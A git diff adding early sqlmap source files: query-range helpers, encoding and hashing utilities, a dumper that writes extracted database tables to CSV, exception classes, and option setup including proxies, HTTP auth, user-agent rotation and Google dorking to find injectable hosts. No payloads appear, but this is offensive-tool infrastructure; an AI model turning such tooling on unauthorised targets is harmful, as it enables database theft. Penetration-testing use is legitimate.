+ columnsStr = ", ".join([column for column in columns])
+ expression = expression.replace("*", columnsStr, 1)
+
+ infoMsg = "the query with column names is: "
+ infoMsg += "%s" % expression
+ logger.info(infoMsg)
+
+ return expression
+
+
+def getRange(count, dump=False):
+ count = int(count)
+ indexRange = None
+ limitStart = 1
+ limitStop = count
+
+ if dump:
+ if isinstance(conf.limitStop, int) and conf.limitStop < count:
+ limitStop = conf.limitStop
+
+ if isinstance(conf.limitStart, int) and conf.limitStart <= limitStop:
+ limitStart = conf.limitStart
+
+ # TODO: also for Microsoft SQL Server in getColumns method?
+ if kb.dbms == "Oracle":
+ indexRange = range(limitStart, limitStop + 1)
+ else:
+ indexRange = range(limitStart - 1, limitStop)
+
+ return indexRange
diff --git a/lib/core/convert.py b/lib/core/convert.py
new file mode 100644
index 000000000..d0d0cfae3
--- /dev/null
+++ b/lib/core/convert.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python
+
+"""
+$Id: convert.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import md5
+import sha
+import struct
+import urllib
+
+
+def base64decode(string):
+ return string.decode("base64")
+
+
+def base64encode(string):
+ return string.encode("base64")[:-1]
+
+
+def hexdecode(string):
+ string = string.lower()
+
+ if string.startswith("0x"):
+ string = string[2:]
+
+ return string.decode("hex")
+
+
+def hexencode(string):
+ return string.encode("hex")
+
+
+def md5hash(string):
+ return md5.new(string).hexdigest()
+
+
+def orddecode(string):
+ packedString = struct.pack("!"+"I" * len(string), *string)
+ return "".join([chr(char) for char in struct.unpack("!"+"I"*(len(packedString)/4), packedString)])
+
+
+def ordencode(string):
+ return tuple([ord(char) for char in string])
+
+
+def sha1hash(string):
+ return sha.new(string).hexdigest()
+
+
+def urldecode(string):
+ if not string:
+ return
+
+ return urllib.unquote_plus(string)
+
+
+def urlencode(string, safe=":/?%&="):
+ if not string:
+ return
+
+ return urllib.quote(string, safe)
diff --git a/lib/core/data.py b/lib/core/data.py
new file mode 100644
index 000000000..c10507515
--- /dev/null
+++ b/lib/core/data.py
@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+
+"""
+$Id: data.py 247 2008-07-19 23:07:26Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.datatype import advancedDict
+from lib.core.settings import LOGGER
+
+# sqlmap paths
+paths = advancedDict()
+
+# object to share within function and classes command
+# line options and settings
+conf = advancedDict()
+
+# object to share within function and classes results
+kb = advancedDict()
+
+# object to share within function and classes temporary data,
+# just for internal use
+temp = advancedDict()
+
+# object with each database management system specific queries
+queries = {}
+
+# logger
+logger = LOGGER
diff --git a/lib/core/datatype.py b/lib/core/datatype.py
new file mode 100644
index 000000000..0e9afceba
--- /dev/null
+++ b/lib/core/datatype.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python
+
+"""
+$Id: datatype.py 316 2008-08-03 22:56:20Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+from lib.core.exception import sqlmapDataException
+
+
+class advancedDict(dict):
+ """
+ This class defines the sqlmap object, inheriting from Python data
+ type dictionary.
+ """
+
+ def __init__(self, indict=None, attribute=None):
+ if indict is None:
+ indict = {}
+
+ # Set any attributes here - before initialisation
+ # these remain as normal attributes
+ self.attribute = attribute
+ dict.__init__(self, indict)
+ self.__initialised = True
+
+ # After initialisation, setting attributes
+ # is the same as setting an item
+
+
+ def __getattr__(self, item):
+ """
+ Maps values to attributes
+ Only called if there *is NOT* an attribute with this name
+ """
+
+ try:
+ return self.__getitem__(item)
+ except KeyError:
+ raise sqlmapDataException, "Unable to access item '%s'" % item
+
+
+ def __setattr__(self, item, value):
+ """
+ Maps attributes to values
+ Only if we are initialised
+ """
+
+ # This test allows attributes to be set in the __init__ method
+ if not self.__dict__.has_key('_advancedDict__initialised'):
+ return dict.__setattr__(self, item, value)
+
+ # Any normal attributes are handled normally
+ elif self.__dict__.has_key(item):
+ dict.__setattr__(self, item, value)
+
+ else:
+ self.__setitem__(item, value)
+
diff --git a/lib/core/dump.py b/lib/core/dump.py
new file mode 100644
index 000000000..678ac5877
--- /dev/null
+++ b/lib/core/dump.py
@@ -0,0 +1,307 @@
+#!/usr/bin/env python
+
+"""
+$Id: dump.py 360M 2008-10-15 00:04:47Z (local) $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+import os
+
+from lib.core.common import dataToDumpFile
+from lib.core.common import filePathToString
+from lib.core.data import conf
+from lib.core.data import logger
+
+
+class Dump:
+ """
+ This class defines methods used to parse and output the results
+ of SQL injection actions
+
+ """
+
+ def __init__(self):
+ self.__outputFile = None
+ self.__outputFP = None
+
+
+ def __write(self, data, n=True, rFile=False):
+ if n:
+ print data
+ self.__outputFP.write("%s\n" % data)
+
+ # TODO: do not duplicate queries output in the text file, check
+ # before if the data is already within the text file content
+ if rFile and conf.rFile:
+ rFile = filePathToString(conf.rFile)
+ rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w")
+ rFileFP.write(data)
+ rFileFP.close()
+ else:
+ print data,
+ self.__outputFP.write("%s " % data)
+
+ self.__outputFP.flush()
+
+ conf.loggedToOut = True
+
+
+ def setOutputFile(self):
+ self.__outputFile = "%s%slog" % (conf.outputPath, os.sep)
+ self.__outputFP = open(self.__outputFile, "a")
+
+
+ def string(self, header, data):
+ if isinstance(data, (list, tuple, set)):
+ self.lister(header, data)
+
+ return
+
+ if data:
+ data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t")
+ data = data.replace("__START__", "").replace("__STOP__", "")
+ data = data.replace("__DEL__", ", ")
+
+ if "\n" in data:
+ self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header)
+ else:
+ self.__write("%s: '%s'\n" % (header, data))
+ else:
+ self.__write("%s:\tNone\n" % header)
+
+
+ def lister(self, header, elements):
+ self.__write("%s [%d]:" % (header, len(elements)))
+
+ try:
+ elements = set(elements)
+ elements = list(elements)
+ elements.sort(key=lambda x: x.lower())
+ except:
+ pass
+
+ for element in elements:
+ if isinstance(element, str):
+ self.__write("[*] %s" % element)
+ elif isinstance(element, (list, tuple, set)):
+ self.__write("[*] " + ", ".join(e for e in element))
+
+ self.__write("")
+
+
+ def userSettings(self, header, userSettings, subHeader):
+ self.__areAdmins = set()
+
+ self.__write("%s:" % header)
+
+ if isinstance(userSettings, (tuple, list, set)):
+ self.__areAdmins = userSettings[1]
+ userSettings = userSettings[0]
+
+ users = userSettings.keys()
+ users.sort(key=lambda x: x.lower())
+
+ for user in users:
+ settings = userSettings[user]
+
+ if user in self.__areAdmins:
+ self.__write("[*] %s (administrator) [%d]:" % (user, len(settings)))
+ else:
+ self.__write("[*] %s [%d]:" % (user, len(settings)))
+
+ settings.sort()
+
+ for setting in settings:
+ self.__write(" %s: %s" % (subHeader, setting))
+ print
+
+
+ def dbTables(self, dbTables):
+ maxlength = 0
+
+ for tables in dbTables.values():
+ for table in tables:
+ maxlength = max(maxlength, len(table))
+
+ lines = "-" * (int(maxlength) + 2)
+
+ for db, tables in dbTables.items():
+ tables.sort(key=lambda x: x.lower())
+
+ self.__write("Database: %s" % db)
+
+ if len(tables) == 1:
+ self.__write("[1 table]")
+ else:
+ self.__write("[%d tables]" % len(tables))
+
+ self.__write("+%s+" % lines)
+
+ for table in tables:
+ blank = " " * (maxlength - len(table))
+ self.__write("| %s%s |" % (table, blank))
+
+ self.__write("+%s+\n" % lines)
+
+
+ def dbTableColumns(self, tableColumns):
+ for db, tables in tableColumns.items():
+ if not db:
+ db = "All"
+
+ for table, columns in tables.items():
+ maxlength1 = 0
+ maxlength2 = 0
+
+ colList = columns.keys()
+ colList.sort(key=lambda x: x.lower())
+
+ for column in colList:
+ colType = columns[column]
+ maxlength1 = max(maxlength1, len(column))
+ maxlength2 = max(maxlength2, len(colType))
+
+ maxlength1 = max(maxlength1, len("COLUMN"))
+ maxlength2 = max(maxlength2, len("TYPE"))
+ lines1 = "-" * (int(maxlength1) + 2)
+ lines2 = "-" * (int(maxlength2) + 2)
+
+ self.__write("Database: %s\nTable: %s" % (db, table))
+
+ if len(columns) == 1:
+ self.__write("[1 column]")
+ else:
+ self.__write("[%d columns]" % len(columns))
+
+ self.__write("+%s+%s+" % (lines1, lines2))
+
+ blank1 = " " * (maxlength1 - len("COLUMN"))
+ blank2 = " " * (maxlength2 - len("TYPE"))
+
+ self.__write("| Column%s | Type%s |" % (blank1, blank2))
+ self.__write("+%s+%s+" % (lines1, lines2))
+
+ for column in colList:
+ colType = columns[column]
+ blank1 = " " * (maxlength1 - len(column))
+ blank2 = " " * (maxlength2 - len(colType))
+ self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
+
+ self.__write("+%s+%s+\n" % (lines1, lines2))
+
+
+ def dbTableValues(self, tableValues):
+ db = tableValues["__infos__"]["db"]
+ if not db:
+ db = "All"
+ table = tableValues["__infos__"]["table"]
+
+ if not conf.googleDork:
+ dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
+
+ if not os.path.isdir(dumpDbPath):
+ os.makedirs(dumpDbPath, 0755)
+
+ dumpFileName = "%s%s%s.csv" % (dumpDbPath, os.sep, table)
+ dumpFP = open(dumpFileName, "w")
+
+ count = int(tableValues["__infos__"]["count"])
+ separator = ""
+ field = 1
+ fields = len(tableValues) - 1
+
+ columns = tableValues.keys()
+ columns.sort(key=lambda x: x.lower())
+
+ for column in columns:
+ if column != "__infos__":
+ info = tableValues[column]
+ lines = "-" * (int(info["length"]) + 2)
+ separator += "+%s" % lines
+
+ separator += "+"
+ self.__write("Database: %s\nTable: %s" % (db, table))
+
+ if count == 1:
+ self.__write("[1 entry]")
+ else:
+ self.__write("[%d entries]" % count)
+
+ self.__write(separator)
+
+ for column in columns:
+ if column != "__infos__":
+ info = tableValues[column]
+ maxlength = int(info["length"])
+ blank = " " * (maxlength - len(column))
+ self.__write("| %s%s" % (column, blank), n=False)
+
+ if not conf.googleDork and field == fields:
+ dataToDumpFile(dumpFP, "\"%s\"" % column)
+ else:
+ dataToDumpFile(dumpFP, "\"%s\"," % column)
+
+ field += 1
+
+ self.__write("|\n%s" % separator)
+ if not conf.googleDork:
+ dataToDumpFile(dumpFP, "\n")
+
+ for i in range(count):
+ field = 1
+
+ for column in columns:
+ if column != "__infos__":
+ info = tableValues[column]
+ value = info["values"][i]
+
+ if re.search("^[\ *]*$", value):
+ value = "NULL"
+
+ maxlength = int(info["length"])
+ blank = " " * (maxlength - len(value))
+ self.__write("| %s%s" % (value, blank), n=False)
+
+ if field == fields:
+ dataToDumpFile(dumpFP, "\"%s\"" % value)
+ else:
+ dataToDumpFile(dumpFP, "\"%s\"," % value)
+
+ field += 1
+
+ self.__write("|")
+ if not conf.googleDork:
+ dataToDumpFile(dumpFP, "\n")
+
+ self.__write("%s\n" % separator)
+
+ if not conf.googleDork:
+ dataToDumpFile(dumpFP, "\n")
+ dumpFP.close()
+
+ logger.info("Table '%s.%s' dumped to CSV file '%s'" % (db, table, dumpFileName))
+
+
+# object to manage how to print the retrieved queries output to
+# standard output and sessions file
+dumper = Dump()
diff --git a/lib/core/exception.py b/lib/core/exception.py
new file mode 100644
index 000000000..2644a1d45
--- /dev/null
+++ b/lib/core/exception.py
@@ -0,0 +1,109 @@
+#!/usr/bin/env python
+
+"""
+$Id: exception.py 316 2008-08-03 22:56:20Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+from lib.core.settings import VERSION_STRING
+
+
+class sqlmapConnectionException(Exception):
+ pass
+
+
+class sqlmapDataException(Exception):
+ pass
+
+
+class sqlmapFilePathException(Exception):
+ pass
+
+
+class sqlmapGenericException(Exception):
+ pass
+
+
+class sqlmapMissingMandatoryOptionException(Exception):
+ pass
+
+
+class sqlmapNoneDataException(Exception):
+ pass
+
+
+class sqlmapRegExprException(Exception):
+ pass
+
+
+class sqlmapSyntaxException(Exception):
+ pass
+
+
+class sqlmapUndefinedMethod(Exception):
+ pass
+
+
+class sqlmapMissingPrivileges(Exception):
+ pass
+
+
+class sqlmapNotVulnerableException(Exception):
+ pass
+
+
+class sqlmapUnsupportedDBMSException(Exception):
+ pass
+
+
+class sqlmapUnsupportedFeatureException(Exception):
+ pass
+
+
+class sqlmapValueException(Exception):
+ pass
+
+
+def unhandledException():
+ errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
+ errMsg += "this and the following traceback and send us by email. "
+ errMsg += "We will fix it as soon as possible:"
+
+ return errMsg
+
+
+exceptionsTuple = (
+ sqlmapConnectionException,
+ sqlmapDataException,
+ sqlmapFilePathException,
+ sqlmapGenericException,
+ sqlmapMissingMandatoryOptionException,
+ sqlmapNoneDataException,
+ sqlmapRegExprException,
+ sqlmapSyntaxException,
+ sqlmapUndefinedMethod,
+ sqlmapMissingPrivileges,
+ sqlmapNotVulnerableException,
+ sqlmapUnsupportedDBMSException,
+ sqlmapUnsupportedFeatureException,
+ sqlmapValueException,
+ )
diff --git a/lib/core/option.py b/lib/core/option.py
new file mode 100644
index 000000000..b6be9f2c1
--- /dev/null
+++ b/lib/core/option.py
@@ -0,0 +1,571 @@
+#!/usr/bin/env python
+
+"""
+$Id: option.py 321M 2008-10-13 22:58:44Z (local) $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import cookielib
+import logging
+import os
+import re
+import time
+import urllib2
+import urlparse
+
+from lib.core.common import parseTargetUrl
+from lib.core.common import paths
+from lib.core.common import randomRange
+from lib.core.common import randomStr
+from lib.core.common import readInput
+from lib.core.common import sanitizeStr
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.datatype import advancedDict
+from lib.core.exception import sqlmapFilePathException
+from lib.core.exception import sqlmapGenericException
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.exception import sqlmapUnsupportedDBMSException
+from lib.core.optiondict import optDict
+from lib.core.settings import MSSQL_ALIASES
+from lib.core.settings import MYSQL_ALIASES
+from lib.core.settings import SITE
+from lib.core.settings import SUPPORTED_DBMS
+from lib.core.settings import VERSION_STRING
+from lib.core.update import update
+from lib.parse.configfile import configFileParser
+from lib.parse.queriesfile import queriesParser
+from lib.request.proxy import ProxyHTTPSHandler
+from lib.utils.google import Google
+
+
+authHandler = urllib2.BaseHandler()
+proxyHandler = urllib2.BaseHandler()
+
+
+def __urllib2Opener():
+ """
+ This function creates the urllib2 OpenerDirector.
+ """
+
+ global authHandler
+ global proxyHandler
+
+ debugMsg = "creating HTTP requests opener object"
+ logger.debug(debugMsg)
+
+ conf.cj = cookielib.LWPCookieJar()
+ opener = urllib2.build_opener(proxyHandler, authHandler, urllib2.HTTPCookieProcessor(conf.cj))
+
+ urllib2.install_opener(opener)
+
+
+def __setGoogleDorking():
+ """
+ This function checks if the way to request testable hosts is through
+ Google dorking then requests to Google the search parameter, parses
+ the results and save the testable hosts into the knowledge base.
+ """
+
+ global proxyHandler
+
+ if not conf.googleDork:
+ return
+
+ debugMsg = "initializing Google dorking requests"
+ logger.debug(debugMsg)
+
+ logMsg = "first request to Google to get the session cookie"
+ logger.info(logMsg)
+
+ googleObj = Google(proxyHandler)
+ googleObj.getCookie()
+
+ matches = googleObj.search(conf.googleDork)
+
+ if not matches:
+ errMsg = "unable to find results for your "
+ errMsg += "Google dork expression"
+ raise sqlmapGenericException, errMsg
+
+ kb.targetUrls = googleObj.getTargetUrls()
+
+ if kb.targetUrls:
+ logMsg = "sqlmap got %d results for your " % len(matches)
+ logMsg += "Google dork expression, "
+
+ if len(matches) == len(kb.targetUrls):
+ logMsg += "all "
+ else:
+ logMsg += "%d " % len(kb.targetUrls)
+
+ logMsg += "of them are testable hosts"
+ logger.info(logMsg)
+ else:
+ errMsg = "sqlmap got %d results " % len(matches)
+ errMsg += "for your Google dork expression, but none of them "
+ errMsg += "have GET parameters to test for SQL injection"
+ raise sqlmapGenericException, errMsg
+
+
+def __setRemoteDBMS():
+ """
+ Checks and set the back-end DBMS option.
+ """
+
+ if not conf.dbms:
+ return
+
+ debugMsg = "forcing back-end DBMS to user defined value"
+ logger.debug(debugMsg)
+
+ conf.dbms = conf.dbms.lower()
+ firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]),
+ "|".join([alias for alias in MYSQL_ALIASES]))
+ dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms)
+
+ if dbmsRegExp:
+ conf.dbms = dbmsRegExp.group(1)
+ kb.dbmsVersion = [dbmsRegExp.group(2)]
+
+ if conf.dbms not in SUPPORTED_DBMS:
+ errMsg = "you provided an unsupported back-end database management "
+ errMsg += "system. The supported DBMS are MySQL, PostgreSQL, "
+ errMsg += "Microsoft SQL Server and Oracle. If you do not know "
+ errMsg += "the back-end DBMS, do not provide it and sqlmap will "
+ errMsg += "fingerprint it for you."
+ raise sqlmapUnsupportedDBMSException, errMsg
+
+
+def __setThreads():
+ if conf.threads <= 0:
+ conf.threads = 1
+
+
+def __setHTTPProxy():
+ """
+ Check and set the HTTP proxy to pass by all HTTP requests.
+ """
+
+ global proxyHandler
+
+ if not conf.proxy:
+ return
+
+ parseTargetUrl()
+
+ debugMsg = "setting the HTTP proxy to pass by all HTTP requests"
+ logger.debug(debugMsg)
+
+ __proxySplit = urlparse.urlsplit(conf.proxy)
+ __hostnamePort = __proxySplit[1].split(":")
+
+ __scheme = __proxySplit[0]
+ __hostname = __hostnamePort[0]
+ __port = None
+
+ if len(__hostnamePort) == 2:
+ __port = int(__hostnamePort[1])
+
+ if not __scheme or not __hostname or not __port:
+ errMsg = "proxy value must be in format 'http://url:port'"
+ raise sqlmapSyntaxException, errMsg
+
+ __proxyString = "%s:%d" % (__hostname, __port)
+
+ # Workaround for http://bugs.python.org/issue1424152 (urllib/urllib2:
+ # HTTPS over (Squid) Proxy fails) as long as HTTP over SSL requests
+ # can't be tunneled over an HTTP proxy natively by Python urllib2
+ # standard library
+ if conf.scheme == "https":
+ proxyHandler = ProxyHTTPSHandler(__proxyString)
+ else:
+ proxyHandler = urllib2.ProxyHandler({"http": __proxyString})
+
+
+def __setHTTPAuthentication():
+ """
+ Check and set the HTTP authentication method (Basic or Digest),
+ username and password to perform HTTP requests with.
+ """
+
+ global authHandler
+
+ if not conf.aType and not conf.aCred:
+ return
+
+ elif conf.aType and not conf.aCred:
+ errMsg = "you specified the HTTP Authentication type, but "
+ errMsg += "did not provide the credentials"
+ raise sqlmapSyntaxException, errMsg
+
+ elif not conf.aType and conf.aCred:
+ errMsg = "you specified the HTTP Authentication credentials, "
+ errMsg += "but did not provide the type"
+ raise sqlmapSyntaxException, errMsg
+
+ parseTargetUrl()
+
+ debugMsg = "setting the HTTP Authentication type and credentials"
+ logger.debug(debugMsg)
+
+ aTypeLower = conf.aType.lower()
+
+ if aTypeLower not in ( "basic", "digest" ):
+ errMsg = "HTTP Authentication type value must be "
+ errMsg += "Basic or Digest"
+ raise sqlmapSyntaxException, errMsg
+
+ aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
+
+ if not aCredRegExp:
+ errMsg = "HTTP Authentication credentials value must be "
+ errMsg += "in format username:password"
+ raise sqlmapSyntaxException, errMsg
+
+ authUsername = aCredRegExp.group(1)
+ authPassword = aCredRegExp.group(2)
+
+ passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
+ passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
+
+ if aTypeLower == "basic":
+ authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
+ elif aTypeLower == "digest":
+ authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
+
+
+def __setHTTPMethod():
+ """
+ Check and set the HTTP method to perform HTTP requests through.
+ """
+
+ if conf.method:
+ debugMsg = "setting the HTTP method to perform HTTP requests through"
+ logger.debug(debugMsg)
+
+ conf.method = conf.method.upper()
+
+ if conf.method not in ("GET", "POST"):
+ warnMsg = "'%s' " % conf.method
+ warnMsg += "is an unsupported HTTP method, "
+ warnMsg += "setting to default method, GET"
+ logger.warn(warnMsg)
+
+ conf.method = "GET"
+ else:
+ conf.method = "GET"
+
+
+def __defaultHTTPUserAgent():
+ """
+ @return: default sqlmap HTTP User-Agent header
+ @rtype: C{str}
+ """
+
+ return "%s (%s)" % (VERSION_STRING, SITE)
+
+
+def __setHTTPUserAgent():
+ """
+ Set the HTTP User-Agent header.
+ Depending on the user options it can be:
+
+ * The default sqlmap string
+ * A default value read as user option
+ * A random value read from a list of User-Agent headers from a
+ file choosed as user option
+ """
+
+ if conf.agent:
+ debugMsg = "setting the HTTP User-Agent header"
+ logger.debug(debugMsg)
+
+ conf.httpHeaders.append(("User-Agent", conf.agent))
+ return
+
+ if not conf.userAgentsFile:
+ conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
+ return
+
+ debugMsg = "fetching random HTTP User-Agent header from "
+ debugMsg += "file '%s'" % conf.userAgentsFile
+ logger.debug(debugMsg)
+
+ try:
+ fd = open(conf.userAgentsFile)
+ except IOError:
+ warnMsg = "unable to read HTTP User-Agent header "
+ warnMsg += "file '%s'" % conf.userAgentsFile
+ logger.warn(warnMsg)
+
+ conf.httpHeaders.append(("User-Agent", __defaultHTTPUserAgent()))
+
+ return
+
+ __count = 0
+ __userAgents = []
+
+ while True:
+ line = fd.readline()
+
+ if not line:
+ break
+
+ __userAgents.append(line)
+ __count += 1
+
+ fd.close()
+
+ if __count == 1:
+ __userAgent = __userAgents[0]
+ else:
+ __userAgent = __userAgents[randomRange(stop=__count)]
+
+ __userAgent = sanitizeStr(__userAgent)
+ conf.httpHeaders.append(("User-Agent", __userAgent))
+
+ logMsg = "fetched random HTTP User-Agent header from "
+ logMsg += "file '%s': %s" % (conf.userAgentsFile, __userAgent)
+ logger.info(logMsg)
+
+
+def __setHTTPReferer():
+ """
+ Set the HTTP Referer
+ """
+
+ if conf.referer:
+ debugMsg = "setting the HTTP Referer header"
+ logger.debug(debugMsg)
+
+ conf.httpHeaders.append(("Referer", conf.referer))
+
+
+def __setHTTPCookies():
+ """
+ Set the HTTP Cookie header
+ """
+
+ if conf.cookie:
+ debugMsg = "setting the HTTP Cookie header"
+ logger.debug(debugMsg)
+
+ conf.httpHeaders.append(("Connection", "Keep-Alive"))
+ conf.httpHeaders.append(("Cookie", conf.cookie))
+
+
+def __cleanupOptions():
+ """
+ Cleanup configuration attributes.
+ """
+
+ debugMsg = "cleaning up configuration parameters"
+ logger.debug(debugMsg)
+
+ if conf.testParameter:
+ conf.testParameter = conf.testParameter.replace(" ", "")
+ conf.testParameter = conf.testParameter.split(",")
+ else:
+ conf.testParameter = []
+
+ if conf.db:
+ conf.db = conf.db.replace(" ", "")
+
+ if conf.tbl:
+ conf.tbl = conf.tbl.replace(" ", "")
+
+ if conf.col:
+ conf.col = conf.col.replace(" ", "")
+
+ if conf.user:
+ conf.user = conf.user.replace(" ", "")
+
+
+def __setConfAttributes():
+ """
+ This function set some needed attributes into the configuration
+ singleton.
+ """
+
+ debugMsg = "initializing the configuration"
+ logger.debug(debugMsg)
+
+ conf.cj = None
+ conf.dbmsHandler = None
+ conf.dumpPath = None
+ conf.httpHeaders = []
+ conf.hostname = None
+ conf.loggedToOut = None
+ conf.outputPath = None
+ conf.paramDict = {}
+ conf.parameters = {}
+ conf.path = None
+ conf.port = None
+ conf.scheme = None
+ conf.sessionFP = None
+ conf.start = True
+
+
+def __setKnowledgeBaseAttributes():
+ """
+ This function set some needed attributes into the knowledge base
+ singleton.
+ """
+
+ debugMsg = "initializing the knowledge base"
+ logger.debug(debugMsg)
+
+ kb.absFilePaths = set()
+ kb.defaultResult = None
+ kb.docRoot = None
+ kb.dbms = None
+ kb.dbmsDetected = False
+ kb.dbmsVersion = None
+ kb.htmlFp = []
+ kb.injParameter = None
+ kb.injPlace = None
+ kb.injType = None
+ kb.parenthesis = None
+ kb.resumedQueries = {}
+ kb.targetUrls = set()
+ kb.unionComment = ""
+ kb.unionCount = None
+ kb.unionPosition = None
+
+
+def __saveCmdline():
+ """
+ Saves the command line options on a sqlmap configuration INI file
+ format.
+ """
+
+ if not conf.saveCmdline:
+ return
+
+ debugMsg = "saving command line options on a sqlmap configuration INI file"
+ logger.debug(debugMsg)
+
+ userOpts = {}
+
+ for family in optDict.keys():
+ userOpts[family] = []
+
+ for option, value in conf.items():
+ for family, optionData in optDict.items():
+ if option in optionData:
+ userOpts[family].append((option, value, optionData[option]))
+
+ confFP = open(paths.SQLMAP_CONFIG, "w")
+
+ for family, optionData in userOpts.items():
+ confFP.write("[%s]\n" % family)
+
+ optionData.sort()
+
+ for option, value, datatype in optionData:
+ if value == None:
+ if datatype == "boolean":
+ value = "False"
+ elif datatype == "integer":
+ value = "1"
+ elif datatype == "string":
+ value = ""
+
+ confFP.write("%s = %s\n" % (option, value))
+
+ confFP.write("\n")
+
+ confFP.flush()
+ confFP.close()
+
+ infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG
+ logger.info(infoMsg)
+
+
+def __setVerbosity():
+ """
+ This function set the verbosity of sqlmap output messages.
+ """
+
+ if not conf.verbose:
+ conf.verbose = 0
+ return
+
+ conf.verbose = int(conf.verbose)
+
+ if conf.verbose <= 1:
+ logger.setLevel(logging.INFO)
+ elif conf.verbose > 1 and conf.eta:
+ conf.verbose = 1
+ logger.setLevel(logging.INFO)
+ elif conf.verbose == 2:
+ logger.setLevel(logging.DEBUG)
+ elif conf.verbose == 3:
+ logger.setLevel(9)
+ elif conf.verbose >= 4:
+ logger.setLevel(8)
+
+
+def __mergeOptions(inputOptions):
+ """
+ Merge command line options with configuration file options.
+
+ @param inputOptions: optparse object with command line options.
+ @type inputOptions: C{instance}
+ """
+
+ if inputOptions.configFile:
+ configFileParser(inputOptions.configFile)
+
+ for key, value in inputOptions.__dict__.items():
+ if not conf.has_key(key) or conf[key] == None or value != None:
+ conf[key] = value
+
+
+def init(inputOptions=advancedDict()):
+ """
+ Set attributes into both configuration and knowledge base singletons
+ based upon command line and configuration file options.
+ """
+
+ __mergeOptions(inputOptions)
+ __setVerbosity()
+ __saveCmdline()
